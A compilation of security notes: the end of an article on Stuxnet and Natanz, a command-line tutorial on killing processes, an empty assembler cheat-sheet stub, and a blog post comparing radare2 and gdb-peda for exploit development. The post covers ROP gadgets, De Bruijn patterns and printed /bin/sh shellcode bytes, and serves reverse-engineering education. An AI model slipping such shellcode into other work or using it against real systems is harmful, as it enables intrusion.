virus to \[our\] country’s nuclear sites,” he told Iranian reporters, without
mentioning the virus by name. He downplayed the virus’s success, however,
asserting that vigilant workers had swiftly discovered the malware at its
point of entry and prevented it from harming equipment.

Six days later, however, as if to mock Salehi’s statement and Iran’s skills at
defending its nuclear program, the assassins on motorbikes struck the two
Iranian nuclear scientists. In a press conference that day, Iranian President
Mahmoud Ahmadinejad appeared to reference the virus Salehi had mentioned, and
contradict him when he said that “enemies” of the state had indeed sabotaged
Iran’s centrifuges with a malicious software program. “They succeeded in
creating problems for a limited number of our centrifuges with the software
they had installed in electronic parts,” he said, without naming Stuxnet or
the facility that was attacked.

Then David Albright at the Institute for Science and International Security,
which closely monitors Iran’s nuclear program, supplied a crucial bit of
information linking Natanz and Stuxnet.

After reading the reports from Langner and the Symantec team, Albright
revealed in December that the nominal frequency at which Natanz’s centrifuges
operated was 1,064Hz — the exact frequency Stuxnet restored converters to
after drastically increasing and decreasing it during the malware’s attack.
Albright found one other correlation. Data in Stuxnet indicated that it was
targeting devices configured in groups of 164; Albright noted that each of
Natanz’s cascades had 164 centrifuges.

The mystery of Stuxnet’s target, and of the damaged centrifuges, seemed to be
solved.

It had been a year since the IAEA inspectors had first spotted the centrifuges
disappearing from Natanz, and they finally had the closest thing to an answer
they were ever likely to get about what had occurred.

One looming question remained, however. Had Stuxnet succeeded in its goal?

If the malware’s aim had been to destroy centrifuges in Iran and cripple the
country’s ability to produce a nuclear weapon, the consensus is that it
failed. A physical attack would have been much more effective, though
obviously much less stealthy or politically expedient. But if its intent was
simply to delay and sow uncertainty in Iran’s nuclear program, then it
appeared to succeed — for a time.

Earlier this year, the outgoing head of Israel’s Mossad said that unspecified
malfunctions had set back Iran’s ability to produce a nuclear weapon until
2015. United States Secretary of State Hillary Clinton also said Iran’s
nuclear program had been “slowed,” but added “\[W\]e have time. But not a lot
of time.” Albright has noted that Iran has material to build only
12,000-15,000 centrifuges, and if 1,000 to 2,000 were destroyed, this would
hasten the demise of its stockpile.

But his and other organizations have also noted that after the centrifuges
were replaced, Iran stepped up its enrichment program and its overall
production of uranium had actually increased in 2010, despite any effects
Stuxnet may have had.

Stuxnet required an enormous amount of resources to produce, but its cost-
benefit ratio is still in question. While it may have helped set Iran’s
program back to a degree, it also altered the landscape of cyberattacks.
Stuxnet’s authors mapped a new frontier that other attackers are bound to
follow; and the next target for sabotage could easily be a nuclear facility in
the United States.

No one knows what Stuxnet might have achieved had it never been discovered by
VirusBlockAda a year ago. The code contains one attack sequence that
researchers say was never enabled in any of the versions of Stuxnet they
found. It appeared the attackers were still developing the code when it was
uncovered.

They will likely have no second chance to unleash their weapon now. Langner
has called Stuxnet a one-shot weapon. Once it was discovered, the attackers
would never be able to use it or a similar ploy again without Iran growing
immediately suspicious of malfunctioning equipment.

“The attackers had to bet on the assumption that the victim had no clue about
cybersecurity, and that no independent third party would successfully analyze
the weapon and make results public early, thereby giving the victim a chance
to defuse the weapon in time,” Langner said.

In the end, Stuxnet’s creators invested years and perhaps hundreds of
thousands of dollars in an attack that was derailed by a single rebooting PC,
a trio of naive researchers who knew nothing about centrifuges, and a brash-
talking German who didn’t even have an internet connection at home.

After all of the effort put into deciphering Stuxnet, the code itself still
holds a couple of mysteries — two small encrypted files that researchers have
yet to crack. One file is 90 bytes, and gets copied to every system Stuxnet
infects. The other is 24 bytes and gets copied to Step7 machines when
Stuxnet’s malicious DLL file gets installed. The two files could hold
additional clues to Stuxnet’s aims or origins, but we might never discover
them. Symantec’s researchers have tried repeatedly to crack their encryption,
but have never succeeded.

Looking back over the year that was Stuxnet, Langner has called it career
defining. “We understood this is the biggest story in malware ever. It was the
best work that I have ever done.”

# Command Line Kung Fu: Episode \#22: Death To Processes

**Created:**| _5/16/2009 10:30:08 AM_  
---|---  
**Updated:**| _5/16/2009 10:30:12 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#22: Death To Processes

Paul Says:  
  
Ever been in the mood to just kill things? This happens to me when I use
Windows. There are more interesting ways to kill things in Linux than you
think, for example:  
  

[code]

    # killall top
    
[/code]

  
Sometimes you want to put processes in the background. You can do this by
appending "&" after the command, or hittingCTRL-Z and typing "bg" once the
command has been started. But what if you try to quit the process and you are
ignored? Reboot? \(No, that's just if you're running Windows and this
happens\). You can hit CTRL-Z and then use the kill command as follows:  
  

[code]

    $ while :; do cat /dev/null; done  
    ^Z  
    [1]+  Stopped                 cat /dev/null
    
[/code]

  
The process is stopped, but it's still running:  
  

[code]

    $ ps waux | grep null  
    root     77241   0.0  0.0   599780    440 s005  R+   10:28PM   0:00.00 grep null  
    root     77238   0.0  0.0   599700    372 s005  S    10:28PM   0:00.00 cat /dev/null
    
[/code]

  
To kill the previous command that was put in the background, do the following:  
  

[code]

    $ kill %1  
      
    [1]+  Stopped                 cat /dev/null
    
[/code]

  
Now it's not running at all:  
  

[code]

    $ ps waux | grep null  
    root     77243   0.0  0.0   599780    388 s005  R+   10:28PM   0:00.00 grep null  
    [1]+  Terminated              cat /dev/null
    
[/code]

  
Now I will just wait until Hal hands something to me, usually it's something
that rhymes with glass.  
  
Hal Says:  
  
Of course, if Paul wanted to kill the process, I'm wondering why he didn't
just hit ^C instead of ^Z. Seriously, though, there's all kinds of interesting
ways to kill processes in Unix. In addition to the killall command Paul's
using, there's also pkill. I actually prefer pkill to killall, because it lets
me do things like:  
  

[code]

    # **pkill -P 1 sshd**
    
[/code]

  
This command means "kill all sshd processes whose parent process ID is 1",
which kills only the master sshd process leaving all of the users on the
system still logged in. Or I could kick Paul off the system:  
  

[code]

    # **pkill -u paul**
    
[/code]

  
Did you know that you can use lsof to help you kill processes? Check this out:  
  

[code]

    # **umount /home**  
     umount: /home: device is busy  
    # **kill `lsof -t /home`**  
     # **umount /home**
    
[/code]

  
The "-t" option to lsof tells it just to output the PIDs of the matching
processes-- in this case all processes that have files open under /home. Once
all of those processes are dead, you can successfully unmount the volume. Note
that you're going to have some very unhappy users after this action, but if
you absolutely positively have to unmount a file system for some reason...  
  
Another point to mention is that you can kill commands via the top command.
Just hit "k" in the window where you're running top and enter the PID you want
to kill. This technique is useful for killing a runaway process that's eating
all your CPU time. You can also use it to kill processes that are eating tons
of memory: hit "O" to pick a different sorting criteria and select "q" to sort
by Resident Size. Now you'll see the processes sorted by the "RES" column and
it will be easy to pick out and kill the ones eating lots of memory.  
  
Ed Steps up to the Plate:  
Killing processes in Windows? Man, we have a lot of options. One of my
favorite ways is to use wmic, God's gift to Windows. While you can manipulate
many \(most?\) aspects of Windows using WMIC, here, we'll use it to kill
processes by running:  
  

[code]

    C:\> **wmic process where [where_clause] delete**  
    
    
[/code]

It's the where\_clause where we have some real power in fine tuning what we
want to kill. To kill a process based on its name \(like Paul's killall
above\), we can run:  
  

[code]

    C:\> **wmic process where name="calc.exe" delete**
    
[/code]

  
Here, I've just killed any process named calc.exe, the little Windows
calculator.  
  
Would you rather kill something based on its pid number? You could run:  
  

[code]

    C:\> **wmic process where processid="536" delete**
    
[/code]

  
You can construct where clauses around all kinds of process attributes,
including executablepath, parentprocessid, or even commandline options. To see
the attributes exposed via wmic process, run:  

[code]

    C:\> **wmic process get /?**
    
[/code]

  
You can even write where clauses to match multiple attributes using an "and",
putting in some parentheses where appropriate. To mimic Hal's fu about killing
a process named sshd with a parent processid of 1, we could run:  
  

[code]

    C:\> **wmic process where (name="sshd" and parentprocessid="1") delete  
    **
    
[/code]

  
Of course, on a real Windows box, you likely won't use that specific name and
parentprocessid, but you get the idea and can easily adapt it.  
  
In addition to "and", note that "or" is also supported. Plus, you can do
substring matching with where clauses that include "like" and "%", as follows:  
  

[code]

    C:\> **wmic process where (name like "%bot.exe") delete  
    **
    
[/code]

That'll kill any process with a name that ends with bot.exe.  
  
But, there's one important attribute missing from wmic process: the user
name\! Doh\! Thanks for nothing, Microsoft.  
  
But, sometimes you really want to kill all processes running as a given
user... Paul sometimes can be a bother when he logs onto a machine, after all.
For this, we can rely on the taskkill command. That command allows us to kill
processes based on all kinds of things, including processid \(specified with
/PID \[N\]\) or process name \(specificed with /IM \[name\]\). But, taskkill
gets really useful with its filtering rules, specified with /FI "\[filter\]".
Let's kill all processes running as user paul:  
  

[code]

    C:\> taskkill /F /FI "username eq paul"**  
    **
[/code]

The /F means to forcefully terminate a process. The taskkill filtering
language is very flexible, supporting wildcard strings of \*, and offering
options for eq \(equals\), ne \(not equals\), gt, lt, ge, le for a variety of
process attributes. Various attributes we can filter on include status
\(running or not running\), memusage \(if you're a memory hog, I'll kill
ya\!\), username \(you'd better behave, Paul\), modules \(if a process has
loaded metsrv.dll, the Metasploit Meterpreter, I can kill it\! Oh, and if it's
a critical system process, I just hosed my machine\), services \(kill the
process inside which a given service runs\), and even windowtitle. That's a
lot of precision, letting you target your process kills.  
  
Specific filtering syntax is available by running:  

[code]

    C:\> taskkill /?
    
[/code]

# Intel Assembler 80186 and higher© 1996-2003 by Roger Jegerlehner,
Switzerland

**Created:**| _12/16/2009 8:26:46 AM_  
---|---  
**Updated:**| _12/16/2009 8:27:18 AM_  
**Author:**| __  
**Tags:**| _cheat sheets asm_  
  
<img src='img/Temp2_4477' />

# monosource

**Created:**| _9/4/2017 9:41:02 AM_  
---|---  
**Updated:**| _9/4/2017 9:41:02 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# radare2 as an alternative to gdb-peda

__ 26 Oct 2016

  * radare2

Many people feel discouraged or overwhelmed to use radare2 due to its
complexity \(understandably so\). They often use gdb with the downright
amazing PEDA extension for their debugging needs and IDA Pro for disassembly
\(or Hopper/Binary Ninja if the price of IDA is too prohibitive\).

But you can do both static and dynamic analysis using radare2, with comparable
features to gdb-peda on the dynamic front. In this post, I’m going to
illustrate this better; perhaps then r2 won’t seem so daunting to use.

# Debugger mode

To open a binary in debug mode, either specify the `-d` option in the command
line,

[code]

    $ r2 -d /path/to/binary
[/code]

Or, if you’ve already performed some analysis, you can reopen it in debug mode
using `ood` or `doo`; all custom flags will still be there.

# Diassemble

## PEDA

[code]

    gdb-peda$ pdis main
    Dump of assembler code for function main:
    -----------------------------SNIP------------------------------
       0x08048557 <+121>:	push   eax
       0x08048558 <+122>:	call   0x804846b <func>
       0x0804855d <+127>:	add    esp,0x8
       0x08048560 <+130>:	test   eax,eax
       0x08048562 <+132>:	jne    0x8048574 <main+150>
       0x08048564 <+134>:	sub    esp,0xc
       0x08048567 <+137>:	push   0x8048620
       0x0804856c <+142>:	call   0x8048340 <puts@plt>
       0x08048571 <+147>:	add    esp,0x10
       0x08048574 <+150>:	mov    eax,0x0
       0x08048579 <+155>:	mov    edx,DWORD PTR [ebp-0xc]
       0x0804857c <+158>:	xor    edx,DWORD PTR gs:0x14
       0x08048583 <+165>:	je     0x804858a <main+172>
       0x08048585 <+167>:	call   0x8048330 <__stack_chk_fail@plt>
       0x0804858a <+172>:	mov    ecx,DWORD PTR [ebp-0x4]
       0x0804858d <+175>:	leave  
       0x0804858e <+176>:	lea    esp,[ecx-0x4]
       0x08048591 <+179>:	ret
[/code]

## radare2

[code]

    [0x08048558]> pdf @ main
    -------------------------------------------SNIP--------------------------------------------
    │           0x08048557      50             push eax
    │           0x08048558      e80effffff     call sym.func
    │           0x0804855d      83c408         add esp, 8
    │           0x08048560      85c0           test eax, eax
    │       ┌─< 0x08048562      7510           jne 0x8048574
    │       │   0x08048564      83ec0c         sub esp, 0xc
    │       │   0x08048567      6820860408     push str.Okay ; str.Okay    ; "Okay" @ 0x8048620
    │       │   0x0804856c      e8cffdffff     call sym.imp.puts
    │       │   0x08048571      83c410         add esp, 0x10
    │       └─> 0x08048574      b800000000     mov eax, 0
    │           0x08048579      8b55f4         mov edx, dword [ebp - local_ch]
    │           0x0804857c      653315140000.  xor edx, dword gs:[0x14]
    │       ┌─< 0x08048583      7405           je 0x804858a
    │       │   0x08048585      e8a6fdffff     call sym.imp.__stack_chk_fail
    │       └─> 0x0804858a      8b4dfc         mov ecx, dword [ebp - local_4h_2]
    │           0x0804858d      c9             leave
    │           0x0804858e      8d61fc         lea esp, [ecx - 4]
    └           0x08048591      c3             ret
[/code]

# Checking DEP/PIC and other things

## PEDA

In peda, you have the `checksec` command, which gives varying information
about the security fortification of the debugged binary.

[code]

    gdb-peda$ checksec
    CANARY    : ENABLED
    FORTIFY   : ENABLED
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
[/code]

## radare2

In radare2, you can view a lot of information about the loaded binary using
`i`.

[code]

    [0x7f5082528cc0]> i
    type     EXEC (Executable file)
    file     /bin/ls
    referer  dbg:///bin/ls
    fd       25226
    iorw     true
    blksz    0x0
    mode     -rwx
    block    0x100
    format   elf64
    havecode true
    pic      false
    canary   true
    nx       true
    crypto   false
    va       true
    intrp    /lib64/ld-linux-x86-64.so.2
    bintype  elf
    class    ELF64
    lang     c
    arch     x86
    bits     64
    machine  AMD x86-64 architecture
    os       linux
    minopsz  1
    maxopsz  16
    pcalign  0
    subsys   linux
    endian   little
    stripped true
    static   false
    linenum  false
    lsyms    false
    relocs   false
    rpath    NONE
    binsz    124726
[/code]

We can filter out any information that’s irrelevant to us using the internal
grep operator \(`~`\)

[code]

    [0x7f5082528cc0]> i~pic,canary,nx,crypto,stripped,static,relocs
    pic      false
    canary   true
    nx       true
    crypto   false
    stripped true
    static   false
    relocs   false
[/code]

# \(Un\)setting ASLR

## PEDA

In peda, you can check/disable ASLR using `aslr`

[code]

    gdb-peda$ aslr
    ASLR is ON
    gdb-peda$ aslr off
    gdb-peda$ aslr
    ASLR is OFF
    
[/code]

## radare2

You can use `rarun2` to run a binary with a custom environment. Again, use
`radare2` to debug.

[code]

    $ r2 -d rarun2 program=/bin/ls aslr=no
[/code]

The problem with `rarun2` is that it tries to write to
`/proc/sys/kernel/randomize_va_space`; you need to be root to do that. I’m not
sure how gdb disables ASLR at a user level.

# Function argument detection

## PEDA

PEDA does some neat argument guessing whenever a `call <function>` instruction
is reached:

[code]

    [-------------------------------------code-------------------------------------]
       0x8048553 <main+117>:	push   eax
       0x8048554 <main+118>:	lea    eax,[ebp-0x2c]
       0x8048557 <main+121>:	push   eax
    => 0x8048558 <main+122>:	call   0x804846b <func>
       0x804855d <main+127>:	add    esp,0x8
       0x8048560 <main+130>:	test   eax,eax
       0x8048562 <main+132>:	jne    0x8048574 <main+150>
       0x8048564 <main+134>:	sub    esp,0xc
    Guessed arguments:
    arg[0]: 0xff81a4cc ("This is arg1")
    arg[1]: 0xff81a4da ("And this is arg2")
[/code]

## radare2

It’s pretty close to doing this automatically. You still have to look for them
on the stack and registers; see how to dereference below.

# ROP gadgets

## PEDA

In PEDA, you can use `dumprop` to dump all ROP gadgets within a memory range
and with a specific maximum depth.

## radare2

You can customize a few options for gadget hunting within radare2.

[code]

    [0x00402a00]> e?rop
            rop.comments: Display comments in rop search output
         rop.conditional: Include conditional jump, calls and returns in ropsearch
                  rop.db: Store rop search results in sdb
                 rop.len: Maximum ROP gadget length
                  rop.nx: Include NX/XN/XD sections in ropsearch
           rop.subchains: Display every length gadget from rop.len=X to 2 in /Rl
[/code]

You can search for gadgets using either `/R` or `/Rl` \(display in linear
fashion, just like `dumprop`\). There are also the `/R/` and `/Rl/` variants
which allow the use of regular expressions in your search.

[code]

    [0x080482f0]> e rop.len=2
    [0x080482f0]> "/Rl add esp;ret"
    0x0807ecb9: add esp, 4; ret;
    0x08089a67: add esp, dword [ebx + eax*4]; ret;
    0x0808f570: add esp, 0x3c; ret;
    0x080dbd37: add esp, dword [esi + 0xa]; ret;
    0x080df4cf: add esp, dword [edx + 0xa]; ret;
    0x080df667: add esp, dword [eax + 0xa]; ret;
    0x080df815: add esp, dword [ebp + 0xa]; ret;
    0x080dfd5b: add esp, dword [esi + 0xa]; ret;
    [0x080482f0]> "/Rl mov dword;ret"
    0x08048c12: mov dword [edx + 0x18], eax; ret;
    -------------------[SNIP]---------------------
[/code]

# Searching for specific instructions

## PEDA

Note: needs `nasm` to be installed.

[code]

    gdb-peda$ asmsearch "pop ?;ret" 0x08048000 0x08049000
    Searching for ASM code: 'pop ?;ret' in range: 0x8048000 - 0x8049000
    0x08048311 : (5bc3)	pop    ebx;	ret
    0x080485fb : (5dc3)	pop    ebp;	ret
    0x08048616 : (5bc3)	pop    ebx;	ret
    gdb-peda$ asmsearch "inc ?;pop ?" 0x08048000 0x08049000
    Searching for ASM code: 'inc ?;pop ?' in range: 0x8048000 - 0x8049000
    0x08048281 : (435f)	inc    ebx;	pop    edi
    0x0804828b : (435f)	inc    ebx;	pop    edi
[/code]

## radare2

[code]

    [0x080484de]> "/c pop;ret"
    0x08048312   # 2: pop ebx; ret
    0x080485fc   # 2: pop ebp; ret
    0x08048617   # 2: pop ebx; ret
    [0x080484de]> "/c inc;pop"
    0x08048282   # 2: inc ebx; pop edi
    0x0804828c   # 2: inc ebx; pop edi
[/code]

# ELF header information

## PEDA

[code]

    gdb-peda$ elfheader
    .interp = 0x8048154
    .note.ABI-tag = 0x8048168
    .note.gnu.build-id = 0x8048188
    .gnu.hash = 0x80481ac
    .dynsym = 0x80481cc
    .dynstr = 0x804822c
    .gnu.version = 0x8048292
    .gnu.version_r = 0x80482a0
    .rel.dyn = 0x80482d0
    .rel.plt = 0x80482d8
    .init = 0x80482f0
    .plt = 0x8048320
    .plt.got = 0x8048360
    .text = 0x8048370
    .fini = 0x8048604
    .rodata = 0x8048618
    .eh_frame_hdr = 0x8048648
    .eh_frame = 0x804867c
    .init_array = 0x8049f08
    .fini_array = 0x8049f0c
    .jcr = 0x8049f10
    .dynamic = 0x8049f14
    .got = 0x8049ffc
    .got.plt = 0x804a000
    .data = 0x804a018
    .bss = 0x804a020
    
[/code]

## radare2

[code]

    [0x080484de]> iS~ehdr
    idx=40 vaddr=0x08048000 paddr=0x00000000 sz=52 vsz=52 perm=m-rw- name=ehdr
    [0x080484de]> s 0x08048000
    [0x08048000]> pfo elf32     # Load ELF header format
    [0x08048000]> pf.elf_header # Print formatted as ELF header struct
         ident : 0x08048000 = .ELF...
          type : 0x08048010 = type (enum elf_type) = 0x2 ; ET_EXEC
       machine : 0x08048012 = machine (enum elf_machine) = 0x3 ; EM_386
       version : 0x08048014 = 0x00000001
         entry : 0x08048018 = 0x08048370
         phoff : 0x0804801c = 0x00000034
         shoff : 0x08048020 = 0x0000181c
         flags : 0x08048024 = 0x00000000
        ehsize : 0x08048028 = 0x0034
     phentsize : 0x0804802a = 0x0020
         phnum : 0x0804802c = 0x0009
     shentsize : 0x0804802e = 0x0028
         shnum : 0x08048030 = 0x001f
      shstrndx : 0x08048032 = 0x001c
    [0x08048000]> pf.elf_phdr @ 0x08048034
       type : 0x08048034 = type (enum elf_p_type) = 0x6 ; PT_PHDR
     offset : 0x08048038 = 0x00000034
      vaddr : 0x0804803c = 0x08048034
      paddr : 0x08048040 = 0x08048034
     filesz : 0x08048044 = 0x00000120
      memsz : 0x08048048 = 0x00000120
      flags : 0x0804804c = flags (enum elf_p_flags) = 0x5 ; PF_Read_Exec
      align : 0x08048050 = 0x00000004
    
[/code]

What about section information?

[code]

    [0x08048000]> iS
    [Sections]
    idx=00 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=----- name=
    idx=01 vaddr=0x08048154 paddr=0x00000154 sz=19 vsz=19 perm=--r-- name=.interp
    idx=02 vaddr=0x08048168 paddr=0x00000168 sz=32 vsz=32 perm=--r-- name=.note.ABI_tag
    idx=03 vaddr=0x08048188 paddr=0x00000188 sz=36 vsz=36 perm=--r-- name=.note.gnu.build_id
    idx=04 vaddr=0x080481ac paddr=0x000001ac sz=32 vsz=32 perm=--r-- name=.gnu.hash
    idx=05 vaddr=0x080481cc paddr=0x000001cc sz=96 vsz=96 perm=--r-- name=.dynsym
    idx=06 vaddr=0x0804822c paddr=0x0000022c sz=101 vsz=101 perm=--r-- name=.dynstr
    idx=07 vaddr=0x08048292 paddr=0x00000292 sz=12 vsz=12 perm=--r-- name=.gnu.version
    idx=08 vaddr=0x080482a0 paddr=0x000002a0 sz=48 vsz=48 perm=--r-- name=.gnu.version_r
    idx=09 vaddr=0x080482d0 paddr=0x000002d0 sz=8 vsz=8 perm=--r-- name=.rel.dyn
    idx=10 vaddr=0x080482d8 paddr=0x000002d8 sz=24 vsz=24 perm=--r-- name=.rel.plt
    idx=11 vaddr=0x080482f0 paddr=0x000002f0 sz=35 vsz=35 perm=--r-x name=.init
    idx=12 vaddr=0x08048320 paddr=0x00000320 sz=64 vsz=64 perm=--r-x name=.plt
    idx=13 vaddr=0x08048360 paddr=0x00000360 sz=8 vsz=8 perm=--r-x name=.plt.got
    idx=14 vaddr=0x08048370 paddr=0x00000370 sz=658 vsz=658 perm=--r-x name=.text
    idx=15 vaddr=0x08048604 paddr=0x00000604 sz=20 vsz=20 perm=--r-x name=.fini
    idx=16 vaddr=0x08048618 paddr=0x00000618 sz=45 vsz=45 perm=--r-- name=.rodata
    idx=17 vaddr=0x08048648 paddr=0x00000648 sz=52 vsz=52 perm=--r-- name=.eh_frame_hdr
    idx=18 vaddr=0x0804867c paddr=0x0000067c sz=236 vsz=236 perm=--r-- name=.eh_frame
    idx=19 vaddr=0x08049f08 paddr=0x00000f08 sz=4 vsz=4 perm=--rw- name=.init_array
    idx=20 vaddr=0x08049f0c paddr=0x00000f0c sz=4 vsz=4 perm=--rw- name=.fini_array
    idx=21 vaddr=0x08049f10 paddr=0x00000f10 sz=4 vsz=4 perm=--rw- name=.jcr
    idx=22 vaddr=0x08049f14 paddr=0x00000f14 sz=232 vsz=232 perm=--rw- name=.dynamic
    idx=23 vaddr=0x08049ffc paddr=0x00000ffc sz=4 vsz=4 perm=--rw- name=.got
    idx=24 vaddr=0x0804a000 paddr=0x00001000 sz=24 vsz=24 perm=--rw- name=.got.plt
    idx=25 vaddr=0x0804a018 paddr=0x00001018 sz=8 vsz=8 perm=--rw- name=.data
    idx=26 vaddr=0x0804a020 paddr=0x00001020 sz=4 vsz=4 perm=--rw- name=.bss
    idx=27 vaddr=0x00000000 paddr=0x00001020 sz=52 vsz=52 perm=----- name=.comment
    idx=28 vaddr=0x00000000 paddr=0x00001712 sz=266 vsz=266 perm=----- name=.shstrtab
    idx=29 vaddr=0x00000000 paddr=0x00001054 sz=1136 vsz=1136 perm=----- name=.symtab
    idx=30 vaddr=0x00000000 paddr=0x000014c4 sz=590 vsz=590 perm=----- name=.strtab
    idx=31 vaddr=0x08048034 paddr=0x00000034 sz=288 vsz=288 perm=m-r-x name=PHDR
    idx=32 vaddr=0x08048154 paddr=0x00000154 sz=19 vsz=19 perm=m-r-- name=INTERP
    idx=33 vaddr=0x08048000 paddr=0x00000000 sz=1896 vsz=1896 perm=m-r-x name=LOAD0
    idx=34 vaddr=0x08049f08 paddr=0x00000f08 sz=280 vsz=284 perm=m-rw- name=LOAD1
    idx=35 vaddr=0x08049f14 paddr=0x00000f14 sz=232 vsz=232 perm=m-rw- name=DYNAMIC
    idx=36 vaddr=0x08048168 paddr=0x00000168 sz=68 vsz=68 perm=m-r-- name=NOTE
    idx=37 vaddr=0x08048648 paddr=0x00000648 sz=52 vsz=52 perm=m-r-- name=GNU_EH_FRAME
    idx=38 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=m-rw- name=GNU_STACK
    idx=39 vaddr=0x08049f08 paddr=0x00000f08 sz=248 vsz=248 perm=m-r-- name=GNU_RELRO
    idx=40 vaddr=0x08048000 paddr=0x00000000 sz=52 vsz=52 perm=m-rw- name=ehdr
    
    41 sections
    
[/code]

# Cross-references

This is a very useful feature to find out who calls/references what, whether
it be an interesting function or string.

## PEDA

[code]

    gdb-peda$ xrefs func
    All references to 'func':
    0x8048558 <main+122>:	call   0x804846b <func>
[/code]

## radare2

[code]

    [0x080484e2]> axt sym.func
    call 0x8048558 call sym.func in sym.main
[/code]

This can also be done in visual mode using `x` on a specific symbol.

# Patching code/memory

## PEDA

[code]

    gdb-peda$ patch 0x402a00 0x90
    Written 1 bytes to 0x402a00
    
[/code]

## radare2

If opening in read-only mode, you should enable cache-writing via `e io.cache
= true`. Otherwise, you can use the `-w` option when loading the file: `r2 -d
-w ./binary`.

[code]

    $ r2 /bin/ls
    [0x004049a0]> e io.cache = true
    [0x004049a0]> pi 1 @ main
    push r15
    [0x004049a0]> wx 90 @ main
    [0x004049a0]> pi 1 @ main
    nop
[/code]

# De Bruijn patterns

## PEDA

[code]

    gdb-peda$ pattc 100
    'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
    gdb-peda$ patto AAEA
    AAEA found at offset: 34
    
[/code]

## radare2

In r2, you need to specify the address at which you wish to write the pattern.
AFAIK, there is no way to write the pattern to `stdout` for copy-pasting it.
Also, the offset doesn’t work with string values; must be hex.

[code]

    [0x00402a00]> wop?
    |Usage: wop[DO] len @ addr | value
    | wopD len [@ addr]  Write a De Bruijn Pattern of length 'len' at address 'addr'
    | wopO value         Finds the given value into a De Bruijn Pattern at current offset
    [0x00402a00]> wopD 100 @ rsi
    [0x00402a00]> ps @ rsi!100
    AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
    [0x00402a00]> wopO 0x414b4141
    28
[/code]

# Searching in memory

## PEDA

[code]

    gdb-peda$ phelp searchmem
    Search for a pattern in memory; support regex search
    Usage:
        searchmem pattern start end
        searchmem pattern mapname
    
[/code]

## radare2

[code]

    [0x004049a0]> /?
    |Usage: /[amx/] [arg]Search stuff (see 'e??search' for options)
    | / foo\x00           search for string 'foo\0'
    | /j foo\x00          search for string 'foo\0' (json output)
    | /! ff               search for first occurrence not matching
    | /+ /bin/sh          construct the string with chunks
    | /!x 00              inverse hexa search (find first byte != 0x00)
    | //                  repeat last search
    | /h[t] [hash] [len]  find block matching this hash. See /#?
    | /a jmp eax          assemble opcode and search its bytes
    | /A jmp              find analyzed instructions of this type (/A? for help)
    | /b                  search backwards
    | /B                  search recognized RBin headers
    | /c jmp [esp]        search for asm code
    | /C[ar]              search for crypto materials
    | /d 101112           search for a deltified sequence of bytes
    | /e /E.F/i           match regular expression
    | /E esil-expr        offset matching given esil expressions %%= here 
    | /i foo              search for string 'foo' ignoring case
    | /m magicfile        search for matching magic file (use blocksize)
    | /p patternsize      search for pattern of given size
    | /P                  show offset of previous instruction
    | /r sym.printf       analyze opcode reference an offset
    | /R [grepopcode]     search for matching ROP gadgets, semicolon-separated
    | /v[1248] value      look for an `asm.bigendian` 32bit value
    | /V[1248] min max    look for an `asm.bigendian` 32bit value in range
    | /w foo              search for wide string 'f\0o\0o\0'
    | /wi foo             search for wide string ignoring case 'f\0o\0o\0'
    | /x ff..33           search for hex string ignoring some nibbles
    | /x ff0033           search for hex string
    | /x ff43 ffd0        search for hexpair with mask
    | /z min max          search for strings of given size
[/code]

# Shellcoding

## PEDA

[code]

    gdb-peda$ shellcode
    Error: missing argument
    Generate or download common shellcodes.
    Usage:
        shellcode generate [arch/]platform type [port] [host]
        shellcode search keyword (use % for any character wildcard)
        shellcode display shellcodeId (shellcodeId as appears in search results)
        shellcode zsc [generate customize shellcode]
    
        For generate option:
            default port for bindport shellcode: 16706 (0x4142)
            default host/port for connect back shellcode: 127.127.127.127/16706
            supported arch: x86
    
    gdb-peda$ shellcode generate
    Available shellcodes:
        x86/linux exec
        x86/linux connect
        x86/linux bindport
        x86/bsd exec
        x86/bsd connect
        x86/bsd bindport
    
    gdb-peda$ shellcode generate x86/linux exec
    # x86/linux/exec: 24 bytes
    shellcode = (
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
        "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
    )
    
[/code]

## radare2

[code]

    [0x004049a0]> g?
    |Usage: g[wcilper] [arg]Go compile shellcodes
    | g foo.r         Compile r_egg source file
    | gw              Compile and write
    | gc cmd=/bin/ls  Set config option for shellcodes and encoders
    | gc              List all config options
    | gl              List plugins (shellcodes, encoders)
    | gs name args    Compile syscall name(args)
    | gi exec         Compile shellcode. like ragg2 -i
    | gp padding      Define padding for command
    | ge xor          Specify an encoder
    | gr              Reset r_egg
    | EVAL VARS:      asm.arch, asm.bits, asm.os
    [0x004049a0]> gl
    shc    exec : execute cmd=/bin/sh suid=false
    enc     xor : xor encoder for shellcode
    [0x00000000]> gi exec
    [0x00000000]> g
    31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05
    [0x00000000]> 
    [0x00000000]> wx `g`
    [0x00000000]> pi 13
    xor eax, eax
    movabs rbx, 0xff978cd091969dd1
    neg rbx
    push rbx
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
[/code]

You can write your own shellcode for future use and compile it. Also, you can
write the shellcode anywhere by using the `@` address specifier.

# Tracing

## PEDA

`tracecall` and `traceinst` are very useful in a number of situations.

## radare2

Sadly broken at the moment.

# Virtual memory mapping

Using `vmm` in peda? In r2, it’s `dm`.

# Dereferencing stack and registers \(telescoping\)

## PEDA

[code]

    gdb-peda$ telescope 10
    0000| 0x7fff1225eed8 --> 0x7fb93f6b9830 (<__libc_start_main+240>:	mov    edi,eax)
    0008| 0x7fff1225eee0 --> 0x0 
    0016| 0x7fff1225eee8 --> 0x7fff1225efb8 --> 0x7fff122611fd --> 0x736c2f6e69622f ('/bin/ls')
    0024| 0x7fff1225eef0 --> 0x100000000 
    0032| 0x7fff1225eef8 --> 0x402a00 (push   r15)
    0040| 0x7fff1225ef00 --> 0x0 
